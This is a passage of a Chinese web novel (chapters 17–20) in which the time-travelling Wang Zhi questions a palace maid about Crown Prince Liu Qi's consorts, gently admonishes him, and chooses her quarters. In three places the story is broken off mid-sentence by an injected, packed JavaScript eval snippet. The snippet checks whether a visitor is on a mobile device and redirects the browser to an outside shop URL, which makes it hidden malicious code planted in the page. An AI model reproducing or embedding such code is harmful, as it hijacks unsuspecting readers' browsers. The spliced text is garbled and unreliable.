王娡选了一个和卫芙不远不近的坐席安坐下来,安静地看她,等着她的回复。 这位年轻的宫人果然因为距离的改变放松了下来,大胆抬起的脸上有着一双含着灵气的眼睛。 “夫人想要问婢子些什么?” “不是些很要紧的事。”王娡温声细语,因为重要的细节她会自己分析,她也深知人际交往中最忌交浅言深,和一个第一次见面的宫人交流,她难道能打听些什么很重要的情报吗? 她幽幽叹了口气,脸上适时地露出几分困扰与失落。美人蹙眉的愁态实在教人不忍,哪怕卫芙是个女子,第一时间也只想为她解忧。 “我是由长公主引荐进的宫,早就听闻过太子身边不乏姬妾,也知道太子已有正室。”王娡慢慢抚摸着自己脸侧垂落的碎发,语气淡淡:“可到头来却发现自己对她们都一无所知。” 她大概知道薄皇后和那几位和刘启生下子嗣的宫妃的姓氏,可除了栗姬的性情能在史书记载中透露一二,别的却都是一片空白。 刘嫖跟她讲刘启,讲他的性情,他的喜好,因为太子的偏好关乎于她能不能被带走。可她也不会讲起刘启的姬妾。长公主对自家弟弟可以了如指掌,但过问弟弟家的后院具体如何相处,就多少有些越俎代庖。 “我又怎么能不为此感到不安呢?” 王娡垂眸。 她说话的内容其实并不和缓,但她的语气却是一种温温柔柔的腔调,于是连带着她的发问都显得温和柔软,乃至于有些无助了起来。 卫芙听了这话,心头一软,忙不迭出声安抚她的情绪:“夫人不必为此烦恼。” 她差点脱口而出这几代新宠版本下来,所有宫人总结出来的最佳攻略:一切都有太子殿下提前操好了心,夫人你什么都不必担忧。 反正太子宫上下大大小小的运转道理向来如此:天塌下来也有太子顶着,太子就是他们自己的天。殿下如果自己捅了天塌的篓子,那也有陛下来处理。 他们这一辈子都是太子船上的人,不论是风雨交加还是雨过天晴,都注定得和太子同生死共命运。 可她最后还是顽强地将这话咽了回去,她直觉这位新夫人不会喜欢这样空泛的回答: “太子妃是太后族里出身,为人喜静,素好黄老,因此免了后院各夫人的请安。夫人只要平日无大事就不去打扰,太子妃就是个不难相处的人。” 卫芙一个个简要介绍过去,因为斟酌用词的缘故,语速相当缓慢。 王娡也不急着催她,反而一边听,一边观察着她的神色。 “栗夫人是殿下长子、次子、三子的生母,是殿下最早宠爱的一位夫人。她见您新得宠,可能会对您说上几句酸话。但栗夫人性情爽利,性子直,只是话说得不太好听,却没什么坏心眼。您不要太放在心上便是。” “程夫人生了四、五两位皇孙。她性情有些女儿家的娇俏,曾经因为殿下的宠爱,是位有些天真性子的夫人。而现在,也许是身为人母的缘故,她也沉稳了些许。” “贾夫人……”卫芙偷偷看了她一眼,发觉她听到现在也没有不忿或嫉妒的表情,才小心翼翼地继续下去:“她是在您进宫前,最受殿下宠爱的夫人。” ——“目前”最受宠爱的。 王娡在心底默默纠正卫芙的用词:刘启的新鲜劲总是一阶段一阶段的,搞得谁不知道一样。 历史上等孝景皇后一进宫,这位贾夫人也同样是被景帝抛之脑后了。 “她生育了七皇孙。是位妩媚动人,多才多艺的夫人。” “不过夫人短时间也不用太过担忧与程夫人和贾夫人的相处——两位夫人如今都有孕在身。” 等到她俩生产了之后,就肯定要合伙起来找她麻烦了是吧? 王娡失笑,她发现卫芙真的是个很有语言艺术的人才。 什么为人喜静、性情爽利——她分明是在委婉向她透露情报。 薄太子妃和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“唐夫人……唐兒是个性情很温顺体贴的人,还望夫人能够怜惜一二。” 比起前面几位,卫芙对于唐姬、不、唐兒的情感色彩显然更为丰富。 王娡端详着她的神色:“你认识唐夫人吗?” 认识也并不奇怪。唐兒原本是程姬的侍女,和卫芙属于同一等级的宫人,只是名义上的归属并不相同——但太子宫里的一切,又有什么能说是和太子毫无关系的呢。 “陛下崇尚简朴,向来节省宫廷开支。殿下于是有将身边宫人赐给各夫人为侍女的习惯。” 卫芙轻声回复,曲折回答了王娡的问题:唐姬原本也应该是在刘启身边伺候的婢女,只是后来被刘启派去当程姬的侍女而已。 王娡心领神会。 既然如此,怪不得刘启对程姬送唐兒侍寝的自作主张大为恼火。不仅是因为程姬竟然胆大包天安排到了他这个太子头上,更因为她插手了刘启对这些宫人的支配权。 她也明白为什么卫芙会对她从一开始就殷勤有加了。 “——芙儿想和我走吗?” 王娡含笑问她。 卫芙一愣。 她从一开始想的就是在这位新夫人的面前卖好、讨人情,好让她能够在太子要为她选定侍女的时候,能够想起来有卫芙这个人。 能跟在太子身边伺候,对其他很多宫人来说是一份不可多得的美差。尤其是太子也不难伺候,卫芙时常感谢过这一点。 可这还不够,卫芙深知自己跟在太子身边属于没什么竞争力、难见出头之路的一批。因为太子身边已经有不少很早就追随他的宫人了,她来得太晚,最多只能和林侍史那样的老人打好关系,寄希望可以更进一步。 但投向一位新进宠爱的美人,好像也确实是一条利益与风险并存的捷径。 卫芙愿意赌上这一把。 ……可她没想到王娡会问她的意愿。 这难道能够是她自己可以有意愿,可以自己做主的事情吗? ——“什么走不走?” 卫芙一时哑然,门外却冷不丁传来一道人声。 这次没有谒者提前通报,太子殿下在曾经众人一片寂静的氛围中,脚步声都能轻到接近于微弱的闷声,眼下室内二人本就在交谈,又没有分出心神关注外面的声响,他就显得格外神出鬼没了。 悄无声息出现在门外的刘启挑眉看了过来。 “你不会走——对吧?” 他慢吞吞地询问王娡,拉长的尾音,却无端带出一点透着危险的不爽。 18.第 18 章 王娡:…… 有人男鬼味微妙的溢出来了,是谁她不多做评价。 “妾在问芙儿愿不愿意跟妾走。” 王娡对着刘启眨了眨眼,颇为玩味地勾起了唇角:“殿下在问什么?” 阴沉的占有欲。 看起来她之前心神不守的时候,没将表面功夫做好,态度转换得太快,反而带给了刘启一份若即若离的感受,挑起了他的内心的征服欲。也算是阴差阳错,意外之喜。 刘启无言以对,只是身上那份凌厉的气质陡然一松。 “我听芙儿说,殿下有指派身边宫人作为诸夫人侍女的习惯。” 王娡顺势而起,走近刘启身边,拉住了他的衣袖,抬头看他:“如果芙儿愿意——殿下能否将芙儿指给我呢?” 刘启垂眸,就看见一捋墨发从她的发髻里散落,垂落在她的脸侧。 她仰面看着他,一双明眸里仿佛只倒映着他的影子。 “妾听闻其他夫人都可以……” 王娡蹙眉,好似有些低落地微微合眼,欲言又止了一会,最后迟疑抿住了唇,神态看起来竟然很有几分楚楚可怜。 ——你不会偏偏不给我吧? 王娡没把这话说出来,可刘启都不需要过多思考,只往她脸上瞥上一眼,就能读懂她的未尽之言,于是竟然一时有些失笑。 恃宠而骄——或者说她太清楚怎么可以拿捏刘启了。 她就这个样子,他想,他才不相信她是真的低落或者难过。 明明认识并没有很久,刘启却对王娡的性情有种莫名的笃定: 她如果真的伤心,也绝不会像这样柔弱可欺、无助可怜地对他哭。 刘启见识过她气性上来的时候,现在上身的牙印和背后的抓痕还有些隐痛。他不觉得这么一个一点委屈都不肯吃的人,能有什么被欺负了都不敢直说的欲语还休。 但刘启意外发现自己或许很吃这套——或者说他正处于对王娡的一切性情都能接受良好的状态。 他没为这虚伪的可怜而心软,可他伸手揽住王娡,低头亲了她一下。 “怎么可能亏待到你?” 何况这甚至不是跟他要特殊待遇,只是要和其他人平等的权力而已——刘启难道是那么抠门的人吗? “你……王夫人想要你跟在身边侍奉,你愿意吗?” 刘启看了安分侍立在侧,始终不发一言的卫芙一眼,最后也没想起来对方的名字——在他身边伺候时间长了的宫人姓名刘启还是知道的,但卫芙确实来得有点晚,也不算很起眼。 卫芙已然从王娡那个问题中回过神来,如今答应得很快:“是婢子之幸。” “嗯,那你稍后去寻郭御长,帮夫人把伺候的人手点齐。现在先下去吧。” 刘启不甚在意地点点头,等到卫芙的身影消失在门外,他才拉着王娡入座到自己的桌案后。 “怎么和宫人闲聊上了?不是说要跟我学习,难道对这些典籍不感兴趣吗?” 他还以为王娡既然到了厢房,应该会很高兴看到这么多藏书。 “但这些是殿下的所有物,我没有未经允许就随意翻阅的道理。” 王娡这话说得很认真。 哪怕不考虑在这个时代知识的贵重,不考虑经过秦末战争对一代文化毁灭性的打击,这批藏书的价值放在文人眼里可能和等重的黄金一样珍贵,就算放在信息获取门槛很低的现代社会,她也不会这么干。 这里既不是默认开放的公共图书馆,她又不是等不及刘启这一小会功夫。为什么要预先不问自取? 况且刘启是太子。这个身份值得小心谨慎的地方实在太多,王娡觉得再慎重也不为过。 刘启沉默下来。他之所以对王娡的探索秉持着一种如此开放的态度,自然是因为所有重要的文书都不会放在这里。他有足够的信心不会泄密。 可王娡在一些事情上的敏锐与体贴,依旧总能意外抚平一些太子殿下内心敏锐的警惕。 “……要是都像你这样就好了。” 他眼神放空,小声嘟囔了一句。王娡没听见他在说些什么,便抬眼用一种疑惑的眼神望他。刘启不打算为自己突兀的有感而发做什么解释,轻描淡写带过了话题: “在和、那个宫人聊些什么?怎么突然知道我有那种习惯。” “卫芙。”王娡知他不晓卫芙名姓,简短提醒了一句:“妾初来乍到,对这后院里面一无所知,难免心生不安,想找人询问一二罢了。” 她说这话的时候只平静地看他,像在陈述一个既定的事实。刘启却被这样的视线注视得很有几分不自在,默默移开了眼,轻咳了几声清清嗓子: “怎么不来问我?” 王娡无辜地睁大了双眼看他,一副很是震惊的模样:“殿下难道要亲自评价自己的后妃吗?” “等妾年老色衰了,殿下也要这样对着他人评价我吗?” “好过分。” 且不说他和现在这些妃嫔的关系处于现在进行时。就算是按分手后前女友处理,对着现女友大肆审判前女友各种所谓过错的男的也有点没品吧。 刘启被她一句话噎住,一时竟感觉自己进退两难,颇有一种摸不着头脑的无力与迷茫: 他只是单纯问问王娡想不想知道现在后院有哪些人而已——怎么就拐弯到他要批评自己后妃身上去了? “……我没有!” 刘启有些恼火地从齿缝间挤出这一句话来,闷闷开口。 王娡见他又开始抿唇、说完话后立马安静地毫不作声,就知道这人心里不爽,反手拉住他的手腕:“殿下生气了?” 好心全被当做驴肝肺,哪有不生气的道理!刘启被她惹得差点下意识要开始磨牙,很不忿地剐了她一眼,冷哼一声,但到底也没把手抽开。 王娡倒是不怕这个。 她有过长久维系一段感情的经验,深知在谈恋爱过程中,其实从来不怕小情侣吵吵闹闹、分分合合,怕的是某一方一味地低头迎合讨好,怕的是某一方或两方的放置冷处理。 吵架算什么。谁家小情侣没有过三天一小吵,五天一大吵的经历? 恋爱是走向婚姻前的尝试,婚姻是两个人将彼此纳入生活的陪伴。世界上从来没有那么多对爱人是生来就刚好契合的部件,磨合自然是必不可少的一环。磨合得好,那两个人未来的相处自然融洽;磨合得不好,早晚有一天得捅出大篓子。 沟通就是磨合的一种方式,心平气和的良好沟通自然是最佳的理想状态,但事实是确实难以施行。吵架尽管就信息交流的效率来说低的吓人,却也未尝不是一种看清双方为人、性格、三观等等方面的渠道。 可是两方谁都不说,逃避问题而不去解决?那问题只会永远存在,随着时间的流逝越来越沉淀,最终成为两人关系中厚重的隔阂,成为心头一根拔不出来的血淋淋的肉刺。 只让一方低头迎合,改变自我以成为对方的理想型?那最终可能会造成的各种悲剧,王娡都懒得去细数:什么某一方失去自我人格啊;终有一天忍不下去彻底决裂啊;另一方反而觉得某一方变味了啊等等等等。多少火葬场文学都是依靠这样的情节发展起来的。 王娡一直坚定着一个信念: 人长了一张嘴,除了用来吃饭,最重要的功能就是用来说话。 不会说话的话,这张嘴干脆就别要了。给它一根胃食管自己从鼻腔插进去,靠这个生存得了,省得它的身体还要多供养一个无用的器官。 她不慌不忙地将刘启的手掌和自己的相对。 青年的身高放在那里,骨架又显然比她要大。于是不论是掌心还是手指,他的手都要比她要大上一圈。刘启看着这幅画面,只觉得自己甚至可以将她整只手都包裹住。 他心头那股怨气,微妙地只因为这一个举措而散了些许。 “我知道殿下只是怜我。不是真的想要对诸夫人有所指摘。” 王娡身上有着一种情绪相当稳定的沉稳气质,哪怕是面对着地位远高于她,几乎可以决定她未来命运的刘启,她说话的语气依旧是从容不迫的冷静。 不是爱,只是怜。再加入一点见色起意的心动,一些爱才怜弱的救济情结,一份兴致冲冲的热情。 王娡不觉得刘启现在对她已经到了爱的程度。在封建社会男尊女卑、一夫一妻多妾制的大背景下去谈一份完全平等的爱实在是有些困难,金王孙和她成婚了好几年,但王娡哪怕是前世记忆尚在蒙尘之际,都能感觉到对方对她也不是完全的爱。 可没关系。王娡不在乎这个。世界上正向的依赖性的情感那么多,再纯粹的爱迟早也会向着多方面扩散发展,她不是还傻乎乎地会计较别人的好意,有几分是彻头彻尾感性驱动的“真情”的年纪了。 刘启现在关心她,会对她好,这就足够了。 她垂着眼帘,慢慢收拢了五指。 一根根和刘启比起来显得颇为纤细的手指节奏稳定地嵌入他的指缝。刘启下意识同样放松了力道,两人就这样十指相扣,两颗心脏跳动的节拍通过指侧汩汩涌动的血管传递给彼此。 “我很感激殿下。” “可是殿下,就像妾先前说的那样——妾怎么能那样问呢?” “我有目,我有耳。我有口,我有舌。”王娡用着和刘启先前进来时候类似的语气,慢吞吞地表达自己的观点:“我有心,我有脑。” “诸夫人究竟是什么样的人,我完全可以自己去判断。但如果我向殿下询问了呢?” “殿下此刻最为怜我,是故不希望我会受损。于是就会反复思索诸夫人身上是否会有对我不利的缺点——可,殿下,人是不能往坏处去想的。” 这世上没有完美的圣人,更遑论一千张口就能有一千种结论。同样的举措,不同人或者仅仅怀着不一样的想法去看待它,所得出的结论完全有可能南辕北辙。 若要将一个人往坏处想,那么它身上发生的所有事情,其实都是可以用恶意来解读的。 王娡不是同情心泛滥,觉得不能在刘启面前抹黑他其他姬妾的形象,要做一个行事有多么光明磊落的好人圣母。她对自己的道德底线一清二楚,深知自己和传统意义上的好人根本没什么干系。 薄氏何辜?她只是政治联姻的牺牲品。 可她是刘启的太子妃,是大汉未来的皇后。王娡要成为皇后,要让未来的刘彻成为太子、登上帝位,那么薄氏就注定是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘启完全下意识张开双臂,手在她的腰间纠结了一会,最后还是虚虚搂了上去。 “……但你明明问了宫人。” 他咬着自己口腔内壁的颊肉,虽然情绪已经被安抚下来,但依旧别扭地要问王娡要个答案。 为什么宫人就可以,他就不行了?更何况,他难道就是那么容易被一个问题引导着,从此会习惯以恶意揣测他人的那种人吗? 王娡:…… 竟然还能委屈上。 未来素以刻薄寡恩著称的孝景皇帝陛下,您能不能对着自己学习的各种法家刻深学说,摸一摸自己的良心,再把那句“我不是习惯以恶意揣测他人的那种人”说上一遍呢? 您不以恶意揣测他人,直接用逻辑判断谁的风险更大,然后干脆弄死,是吗? 都说了什么锅配什么盖——要是刘启是个汉元帝、宋仁宗,哪怕晋武帝那样的性格,那她妥妥地早就开始挑拨关系了。 但这不是刘启的脾气本来就很不好评价,他现在又是个最年轻气盛,最容易接受新思想、新知识,提出新看法、新问题、新质疑,也是三观最容易被人影响的阶段。 万一她真一不小心给他本有端倪的性格火上浇油,直把人带着一路往极端方向跑怎么办啊?! 孝景皇帝历史上还没癫公到那种程度啊!王娡可不想直接把人本来对待学术思想、大臣劝谏还称得上开放包容的优点给带偏。 “因为宫人只是宫人——芙儿现在既然都被允许调到妾的身边,那就是妾的人了。她站在妾的立场上为妾考虑,难道不是她应尽的职责吗?” “可殿下是天下的储君,是太子宫的主君。您对诸夫人的好恶,毫无疑问将会影响全宫上下。您对事物看法的转变,甚至将要影响到整个天下。” “我是个见识短浅、勇气不足之人,只听说过千里之堤毁于蚁穴,所以需要防微杜渐的道理。故而我害怕您因为对我一人的宠爱,反而会危害天下啊。” 王娡伸手摸了摸刘启的脸,手指特意停留在他眼睛的下方。 “——殿下想要看见什么呢?” 她轻声询问刘启。 刘邦是个身段柔软、能屈能伸,为了成就大业丢得起脸,弯得下腰的混不吝老流氓;刘恒也是个以柔克刚,深谙政治上如何四两拨千斤,行事周密而面子上总能显得好看的腹黑白莲花。 而不论是刘恒还是窦漪房,心里比较倾向的治国学术都是黄老之学。 这么一看,不论从基因遗传,还是父母教育的角度上说,怎么着也不该养出刘启这样一个竟然很能有些“爱则欲其生,恨则欲其死”倾向,完全过刚易折,毫无黄老“柔胜刚,弱胜强”影子的脾气。 但事实就是这样,未来孩子的性格都能精准遗传他爹。王娡除了服气认命,又不能把如今已经二十二的太子重返童年再教育一遍。 她也就只能这样旁敲侧击地劝。 刘启默然良久。 他那双生得极好,可以从轮廓想见父母双方都应当称得上顾眄炜如的眼睛,此刻就这样宁和地注视着她,少有凌厉之气。 * “吾终不爱一人以谢天下。” 他说。 19.第 19 章 “夫人这番劝谏功力,着实颇有庄、韩之风。” 庄子和韩非子都是春秋战国时期以擅长寓言说理著称的名家,其特色就是化深刻大道为平实易懂的语言,好便于他人理解。刘启这样的夸赞,无疑是相当过誉的评价。 口口声声说着“不爱一人以谢天下”,历史上也真的干出了这种狠人狠事的孝景皇帝,此刻却表现得好似和他说的那句话一点关系没有。 他搂着王娡,有些懒洋洋地低头对着她耳侧调笑。亲昵的呼吸带着纠缠的热意,黏黏糊糊地将先前那句话带来的冷峻融化作一团。 王娡被他“夫人”这个用语唤得一时神荡:这若是放在床笫耳鬓厮磨之际,她自然想到的是小夫妻新婚燕尔的情趣。 但偏偏两人之前用夫人、夫人的来形容后院诸姬,王娡都习惯将自己和夫人这个身份短暂拆开——在这种语境下,刘启喊她夫人,她脑海第一时间想到的竟然是老三国里曹丞相那句经典名台词…… 偏偏二人之间的关系,还真的和那句名言所述的情景很有些说不清道不明的嫌疑,王娡都被自己这突兀的脑回路羞到,耳尖隐隐发烫。 “庄、韩又如何——不论谏言说得怎么样,最重要的还是看被劝谏的人是否诚心听了进去。” 她定了定心神,若无其事地试图绕过这个话题:刘启说的那句话实在不是很吉利,充满了帝王出师第一剑,上岸先斩亲老师的flag气息。 “话说回来,殿下想好要让妾住在哪里了吗?” 她都那么努力给刘启谏言了,他和薄太子妃关系又不好——不至于气氛到了这个地步,还对她说去问太子妃吧?那她真的当场哭给他看哦。 刘启见到她的耳尖泛红,但苦于时代过早,到底没品味出王娡一时行差踏错,想到了什么奇怪情节。最后还是从善而流,将话题换回更为实际的选项。 然后王娡就被他突然一记直球砸蒙了。 “就住后堂好不好?和我住一起?” 王娡:…… 开什么玩笑啊?! 她刚刚是不是白劝谏了啊? 她一脸震撼地从刘启怀里挣扎坐起来,神色凝重地对上他的双眼,却惊讶地发现其中透着早有预料一般的笑意。 刘启明摆着在逗她玩。 王娡很快就反应过来,这是刘启对她之前那句“好过分”的报复。一时被这斤斤计较的狗男人气得牙痒痒,实在很想眼不见心不烦。 幼稚! 她如果真答应了,这人现在才该傻眼了! 后堂是太子日常起居的住所,也就是他们现在所处的这座宫殿。 刘启正处于西汉初期,一个在道德底线上可以潇洒享受刘邦遗泽的时代。其实按理来说他在自家后院里想怎么安排就怎么安排,这个年代的大臣还不爱去抓着皇帝的私生活喋喋不休。 但刘启自家后院有一个很严重的问题,他不得不小心斟酌的问题:薄太子妃。 刘启是可以让王娡跟自己一起住——但那不是一点都不给薄太子妃面子嘛! 薄太子妃自己的面子可能都是小事,老刘家又不是没干过宠妾灭妻这样的糊涂混账事——但她在刘启的后宫中代表的实际上是薄家的面子,是薄太后的面子! 两汉以孝为先,所以几乎大部分皇帝最后的谥号其实都是孝某二谥。只是后世简称习惯了,前面传统礼仪性所上的“孝”这个谥一般都会忽视掉。 刘启是太子。他可以在别的事情上犯错,却不能在孝道上受到指摘。 薄太后只要还在世一天,薄氏在刘启后宫中的地位就能够稳如泰山。不管他们这对夫妻实际上有多么怨偶,刘启要保证明面上不能有人可以盖过她的风头。 越过太子妃,而让一个新进的姬妾与自己同住。这无疑就有些过分了。 “别这样看我——我话还没说完啊。” 刘启当然不是真的要这么做。他见好就收,不敢多逗,伸手拉住了王娡,将她的双手合在自己的掌心,以作安抚。 “殿下从一开始就不该开这样的玩笑。” 王娡很认真地睨他一眼,手上竟然还掐了他一下。 他又不是会对所有人都开这样的玩笑。 刘启在心里为自己小声辩解。他会对王娡说出这样的话,是因为他知道王娡是怎样一个精明有想法的人。他已经见过她的小心谨慎和眼界谋略,所以从一开始就知道她绝不会答应。 要不然万一对上个懵里懵懂一口答应下来的——那就真轮到刘启自己倒霉了。 刘启深知自己的性格里面有很不讨人喜欢、过于刻深的一部分。所以在对待亲近之人的时候,他总习惯性用一种不甚认真、调笑嬉戏的方式去柔和自己的尖锐。 但这样的方式最终也会变成祸从口出、口无遮拦的祸事吗?刘启没想过这个问题,在王娡不满之前,他也没遇到过这样的问题。 难道只是一直以来他看人还没有出过大错,尚且没有对不合适的人开过不合适的玩笑? 王娡先前劝谏的话又在他脑海闪过,刘启顿了顿,将自己强行从思绪中挣脱出来,含笑对着王娡: “我错了……可后堂范围那么大呢,我又没说好是这里。甲观怎么样?” 这就是汉语一字多义的伟大魅力时刻了:“堂”这个字在汉代通“殿”。也就是说,后堂既可以仅指代刘启自己的住所,也可以泛指刘启的“后殿”,也就是相对于用来处理政治礼仪性事件的“前殿”,作为太子及其妻妾平日起居住所的后院。 就算是玩笑,刘启也给自己留了一条可以狡猾诡辩的退路。 “殿下太爱玩这种文字游戏了。” 想通了这点,王娡紧绷的神经放松了些许,觉得到底没看错人,可最后还是没好气地白了刘启一眼:真不愧是能让晁错“以其辩得幸太子”的那位太子殿下。 刘启对音乐辞赋这些贵族青年时常会学习以陶冶情操的古典爱好,是真的没什么兴趣。就如刘嫖此前告诉王娡的那样,他在这方面的水平最多是掌握、不走音。 《汉书》有“志”十篇,专门记载汉朝律历、礼乐、刑法、食货、郊祀这些制度上变迁的算有五篇。 刘启在其中虽然都算留下了姓名,但准确来说只在食货和刑法、尤其是后者上面尽心尽力,留下了大段关于轻刑慎法的改革。然后就是礼乐里面说他给亲爹的太宗庙改编过一只曲子。 其他诸如郊祀、乐府之类的事宜,他都是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538966|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不关心“十六年无有所兴”“礼官肄业而已”“会景帝不好辞赋”的姿态高傲出道。逼得司马相如那种文学地位高到被称为“赋圣”“辞宗”级别的文学家,在他身边做官都做到绝望跑路,写出了《子虚赋》这样名留青史的作品都没得到他一点关注。 在老刘家一堆能歌善舞的浪荡子,或者风流多情的文学青年中,刘启在这方面简直可以说冷淡得独树一帜。 孝景皇帝这执政一生只爱搞钱和司法。什么礼别异、乐合同,什么辞赋大家的,都勿cue。 他喜欢什么? 武则骑射御车,文则经史子集。 以及, ——爱看人辩论(。) 王娡上辈子最烦辩论队的同学找她所谓模辩,说想要听听她对于他们观点的想法。她每次都要无语地表示她觉得正反两方哪个她都不支持。 她站中间。 她也理解辩论的技巧与艺术。一场辩论赛的看点,其实根本不是看正反两方两边的观点谁可以得到更多人的支持,而是看双方辩手言语间透出的逻辑与说话技巧,能否在理论上抓住对方的破绽,一击致命、一针见血。 可理解归理解。王娡还是对这种只要选手尺度分寸把握不好,很容易变成咄咄逼人、为了辨而辨的比赛敬而远之。 然后天道好轮回,她在现代拒绝辩论队好友的时候有多潇洒,在公元前的世纪撞上一个热爱辩论的老公就有多绝望。 ……要不你去古希腊留学、啊抱歉,这个时候已经到了古罗马时期,苏格拉底都英勇就义两百多年,罗马都进入共和国阶段打完两次布匿战争了。 名家呢?名家派个人来教一教啊! 王娡对他这实在很有些曲高寡和气质的爱好实在一言难尽,头疼地摁了摁额角。 刘启也不生气,估计是已经习惯这样的评价了。他帮王娡揉了揉太阳穴,凑近了问她:“不管那些——住进甲观难道不觉得高兴吗?” 汉初对宫殿的命名就是如此简单粗暴。太子宫的后院几殿就是按照“甲乙丙丁”这样的顺序以命名且安排等级的。 甲观就是太子宫里最好的馆舍,未来的汉成帝就是出生在汉元帝为太子时的太子宫甲观画堂。作为“世嫡皇孙”,刘骜出生毋庸置疑是第一等的大事。这样的大事能够被安排在甲观,就足可见它地位的不俗。 可王娡只是失笑。 “殿下后宫有哪几位不住甲观的吗?” 她眨了眨眼睛,很诚恳地对刘启发问。 薄氏是太子妃,栗姬、程姬、贾姬都曾经是他心尖尖上的美人——除了阴差阳错的唐兒之外,刘启能让她们当中的哪一个住到乙殿或者丙殿? 刘启悻悻地坐回原位,无言以对。 他把唐兒也安排在的甲观…… 毕竟虽然人不是他自己看中的,孩子确实是他的,刘启总不能那么无耻地对小孩亲妈不负责吧。他后宫反正人又不是很多,甲观又不是住不下,没那个必要为难自己小孩的亲妈。 “那也不一样——你想住甲观哪里?” 刘启是个行动力很强的人。话说到这里,他就饶有兴致地站了起来,对王娡伸出了手。 “我带你去看看?” 20.第 20 章 刘启说是带王娡去挑宫殿,其实也没甚么好挑的。 刘启的后宫人员都被他安排在甲观。太子妃自是其中最尊贵也离他最近的宫殿,剩余的就按得幸的先后顺序依次排列下去。 倒不是刘启或者薄氏特意这样安排。主要是每一任得幸的美人都想着要离能够主宰她们命运的太子更近一些,于是就无形之中达成一种共识,在可选范围中这样代代排列出一种顺序。 王娡看了都觉得有些无语和好笑。 她并不打算顺应这样奇奇怪怪的潜规则,最后没去和程姬贾姬凑到一块,反而选了离唐兒较近的一处馆舍。主要是看中那处院落庭中有高树成荫,她打算等自己说话更有分量的时候,叫人造了桌椅摆在下面,好夏日乘凉,平日闲坐。 至于距离? 且不说腿长在刘启自己的身上,太子殿下在自己的宫里想去哪就去哪,距离的问题什么时候能够阻拦上位者的我行我素。 更为地狱笑话一点地讲,太子出行甚至都不太需要他本人亲自迈步,有的是代步工具,无非时间长短有差罢了。刘启如果真的自己想来,难道会连多一点时间和功夫都等不了吗? 既然如此,比起考虑地理位置与刘启的距离问题,王娡觉得还是关注自己的住所舒适来得重要得多。汉家宫阙宏丽不凡,王娡没什么可以挑剔的,那最影响生活质量的就是刚巧她可以自己选择的邻居: 太子妃和栗姬被包围在里面,压根就没有可供选择的选项;程姬、贾姬和她未来肉眼可见地会有矛盾发生,住得近了只会让自己心烦;这么一看,不选因为出身缘故,性格柔顺,并且应该还和卫芙有些旧情的唐兒,王娡还能选谁呢? 说到卫芙。她虽然年纪不大,却是个办事很妥帖伶俐的姑娘。 刘启先前叫她去寻专门负责掌管宫人的郭御长,帮王娡把伺候的人手点齐。待王娡选好住处后不久,她就带着一批经过初筛符合标准的宫人到了王娡面前,让王娡亲自挑人。 这办事的利索劲,让本来对小姑娘办事能力还没有清晰认知的王娡瞬间刮目相看,认定自己这是捡了宝了: 靠谱,阿芙看起来很有当未来首席秘书的天赋啊。 伺候的人手都是小事。自从知道太子宫里侍奉后妃的侍女们,原本都是刘启身边挑出来的宫人后,王娡曾经对一些后宫阴私手段的担忧就减轻了不少。孝景皇帝的金字招牌放在那里,她不觉得就现在太子宫里这几个美人能有本事玩得过他。 对,包括王娡自己。她很有自知之明,知道自己目前只能说是纸上谈兵的政治水平,显然不能和封建社会一手培养长大,心黑手辣,有的是手腕和实践的太子殿下实际硬碰硬。 王娡可不相信能有人瞒着刘启收买宫人——尤其是刘启的后宫除了太子妃薄氏外都是平民出身,可没什么人能有敢于大肆收买的底气——想对刘启的宫妃做些什么手脚。 既然如此,王娡又对这些人平等地不熟,那自然是随便挑了几个看得顺眼的,剩下大部分岗位还是让卫芙帮的忙。 比选伺候人手显然重要得多的是装修。 按理说,北宫都是很早就已经建好的宫殿,多年来哪怕是闲置的偏殿,也都有宫人负责维护和洒扫。王娡搬迁的新居,虽然短时间内因为缺乏人气看起来有些冷清,但绝对称不上什么维护不善,不能住人。等她定居下来,开箱嫁妆,好好整理一番,自然会显得漂亮起来。 ——主要是刘启不满意这里面的装潢。 太子殿下一直就站在她身边,一起旁观了整个新房入住的环节与流程。 比起亲爹来说,出手阔绰不少的刘启拧眉看着一堆在他眼中显然不合格的摆设,对他们指指点点了半天,又做了一回散财童子,决心舍出去不少自己内库的宝贝,好让自己现任心尖尖上的美人住得足够舒坦。 “殿下,晁家令今日休沐不在,恐怕值守的属官不敢受这几份调令。” 跟在刘启身后的宦官认真地记着刘启的吩咐,在听到几样在太子库房中也称得上贵重的摆设后,趁着太子止语的空隙,小心提醒了一句。 晁错因为备受刘启宠信,说的很多谏言都能够被刘启听从,又对太子的教育问题很是认真负责的缘故,总被大众默认为属于刘启老师的存在。但其实他身上太子家令这个官职的本职工作,应该是太子宫的总管,以及掌管宫内财务。 如要准确从官职出发以形容他们二人的关系,其实应该是真太子爷大少爷和他家兼职会计的大管家…… “那么那几样就先不着急,等先生休沐结束再说。” 刘启“唔”了一声,很从容地将时间往后延了延,却一点不怕晁错会有不给他批的可能。 他侧头询问王娡的意见:“这几件都是大件的摆设,娡儿你介意晚几日送过来吗?要不然我再拿点别的,给你先补上?” 至于这些所谓先补上的东西,等到刘启要求真正摆放的物件来了之后应当怎么处理。王娡看他这满不在乎的态度,也能明白当是直接要送给她了。 王娡:…… 王娡两辈子为人,不是没见过富有的,主要是没见过像刘启这种,富有、对自己都比较抠门、偏偏对她很是慷慨的。 